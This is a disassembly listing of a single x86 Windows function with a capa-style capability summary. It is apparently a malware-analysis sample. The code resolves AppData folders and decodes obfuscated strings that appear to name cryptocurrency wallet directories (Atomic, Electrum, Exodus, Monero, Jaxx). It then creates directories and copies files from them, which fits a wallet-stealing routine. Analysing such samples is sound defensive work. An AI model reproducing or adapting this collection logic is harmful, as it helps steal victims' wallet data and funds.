Function at 0x410520
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f97f2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3fc
push esi
push edi
xor edi, edi
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x80], edi
mov dword [ebp - 4], edi
lea eax, [ebp - 0x304]
push 0x104
push edi
push eax
call fcn.004d31f0
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x304]
add esp, 0xc
push eax
push edi
push edi
push 0x1a
push edi
call esi
push 0x104
lea eax, [ebp - 0x408]
push edi
push eax
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push 0x1c
push edi
call esi
movaps xmm0, xmmword [0x527410]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xb8beadb0
mov word [ebp - 0x12], 0xba
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x4105b4
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4105e4
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x140]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41064e
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410644
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414103
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x140]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x4107b8
mov dword [ebp - 0x30], 0xb0ab9e83
xor ecx, ecx
mov dword [ebp - 0x2c], 0xbcb6b2
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410691
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4106b0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414108
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x35]
lea ecx, [ebp - 0x54]
call fcn.004680d0
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], connect
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x41071d
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410796
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp - 0x140]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 6
mov byte [ebp - 4], 4
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410769
mov esi, dword [ebp - 0x38]
mov byte [esi], 1
jmp 0x410799
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 7
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, dword [ebp - 0x38]
mov edi, connect
mov dword [ebp - 0x5c], edi
and edi, 0x7fffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x54]
call fcn.00402890
jmp 0x4107bb
mov esi, dword [ebp - 0x38]
movaps xmm0, xmmword [0x527490]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xac
nop
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x4107d0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410800
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x128]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x41086a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410860
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41410d
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x114], 0x10
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x128]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x4109cc
mov dword [ebp - 0x1a], 0xbab39a83
xor ecx, ecx
mov dword [ebp - 0x16], 0xaaadabbc
mov word [ebp - 0x12], 0xb2
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4108b3
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4108d2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414112
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x10000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x410941
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4109b7
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xc
sub esp, 0x18
lea eax, [ebp - 0x128]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xb
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x41098a
mov byte [esi], 1
jmp 0x4109b7
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0xe
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffeffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527370]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xbab3b3be
mov word [ebp - 0x12], 0xab
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x4109f0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a20
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x110]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410a8a
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410a80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414117
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0xfc], 0x10
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x110]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x410bea
mov dword [ebp - 0x30], 0xb0a79a83
xor ecx, ecx
mov dword [ebp - 0x2c], 0xacaabb
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410ad0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410af0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x41411c
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x20000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x410b5f
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410bd5
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x13
sub esp, 0x18
lea eax, [ebp - 0x110]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x12
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410ba8
mov byte [esi], 1
jmp 0x410bd5
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffdffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527cf0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xabbab3b3
mov word [ebp - 0x12], 0xac
movzx eax, byte [ebp + ecx - 0x26]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x15
jb 0x410c04
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c34
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xf8]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410c9e
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414121
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0xe4], 0x10
lea ecx, [ebp - 0xf8]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xf8]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x410e06
mov dword [ebp - 0x1d], 0xbab39a83
xor ecx, ecx
mov dword [ebp - 0x19], 0xaaadabbc
mov dword [ebp - 0x15], 0x9c8b93b2
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x410cf0
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d10
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414126
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x40000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x410d7b
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410df1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x1a
sub esp, 0x18
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x1b
mov byte [ebp - 4], 0x19
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410dc4
mov byte [esi], 1
jmp 0x410df1
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x1c
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfffbffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x526f20]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
movzx eax, byte [ebp + ecx - 0x20]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xf
jb 0x410e13
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e43
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xe0]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x410ead
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ea3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41412b
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0xcc], 0x10
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x411006
mov dword [ebp - 0x30], 0xb1b09283
xor ecx, ecx
mov dword [ebp - 0x2c], 0xb0adba
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x410ef0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410f10
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x414130
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x80000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x410f7b
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410ff1
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x21
sub esp, 0x18
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x20
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x410fc4
mov byte [esi], 1
jmp 0x410ff1
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x23
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xfff7ffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x527340]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xa7
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x411020
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411050
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x54]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x98]
call fcn.00464300
add esp, 4
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4110ba
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4110b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414135
push ecx
push edx
call fcn.004bafb1
add esp, 8
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x44], 0
cmovae ecx, dword [ebp - 0x98]
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
call fcn.0040b940
test al, al
je 0x411677
mov dword [ebp - 0x1e], 0xa7be9583
xor ecx, ecx
mov dword [ebp - 0x1a], 0xb693ffa7
mov dword [ebp - 0x16], 0xabadbabd
mov word [ebp - 0x12], 0xa6
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xd
jb 0x411110
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411130
mov esi, closesocket
sub ecx, edx
mov edx, dword [ebp + 0x18]
mov eax, esi
sub eax, edx
cmp eax, ecx
jb 0x41413a
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.004680d0
or edi, 0x100000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b940
test al, al
jne 0x4111a1
push 0
lea ecx, [ebp - 0x54]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411662
mov dword [ebp - 0x1b], 0xbbb19683
xor ecx, ecx
mov dword [ebp - 0x17], 0xbbbaa7ba
mov word [ebp - 0x13], 0x9d9b
mov byte [ebp - 0x11], 0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x4111c0
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4111e0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x88]
sub eax, edx
cmp eax, ecx
jb 0x41413f
cmp dword [ebp - 0x84], 0x10
lea eax, [ebp - 0x98]
push ecx
cmovae eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.004680d0
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x80], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b940
mov byte [ebp - 0xd], al
mov eax, 0x10
mov dword [ebp - 0x80], eax
and eax, 0xffffffef
mov dword [ebp - 0x80], eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x411372
lea eax, [ebp - 0x1b]
push eax
call fcn.004141c0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x411270
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x4112c2
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x411366
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x1b]
push eax
call fcn.004141c0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x4112f0
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0x29
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x411339
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x411366
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x2c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0xbcb09383
xor ecx, ecx
mov dword [ebp - 0x1b], 0x8cffb3be
mov dword [ebp - 0x17], 0xbeadb0ab
mov word [ebp - 0x13], 0xbab8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x411393
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x2d
mov ecx, eax
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x4114f2
lea eax, [ebp - 0x1f]
push eax
call fcn.004141f0
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x4113f5
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x78]
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
test al, al
jne 0x411447
push 0
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4114e6
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x1f]
push eax
call fcn.004141f0
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x411470
sub esp, 0x18
lea edx, [ebp - 0x98]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x30
mov byte [ebp - 4], 0x2e
mov cl, byte [ebp - 0xd]
call fcn.0040ea60
add esp, 0x30
test eax, eax
jne 0x4114b9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4114e6
lea ecx, [ebp - 0x78]
call fcn.0045fb30
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x31
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b990
add esp, 4
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00414220
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.00461130
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x411500
push esi
lea edx, [ebp - 0x98]
lea ecx, [ebp - 0x78]
call fcn.00464140
add esp, 4
mov byte [ebp - 4], 0x32
mov ecx, eax
call fcn.0045fb30
mov ecx, eax
call fcn.0040b940
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x411662
lea eax, [ebp - 0x21]
push eax
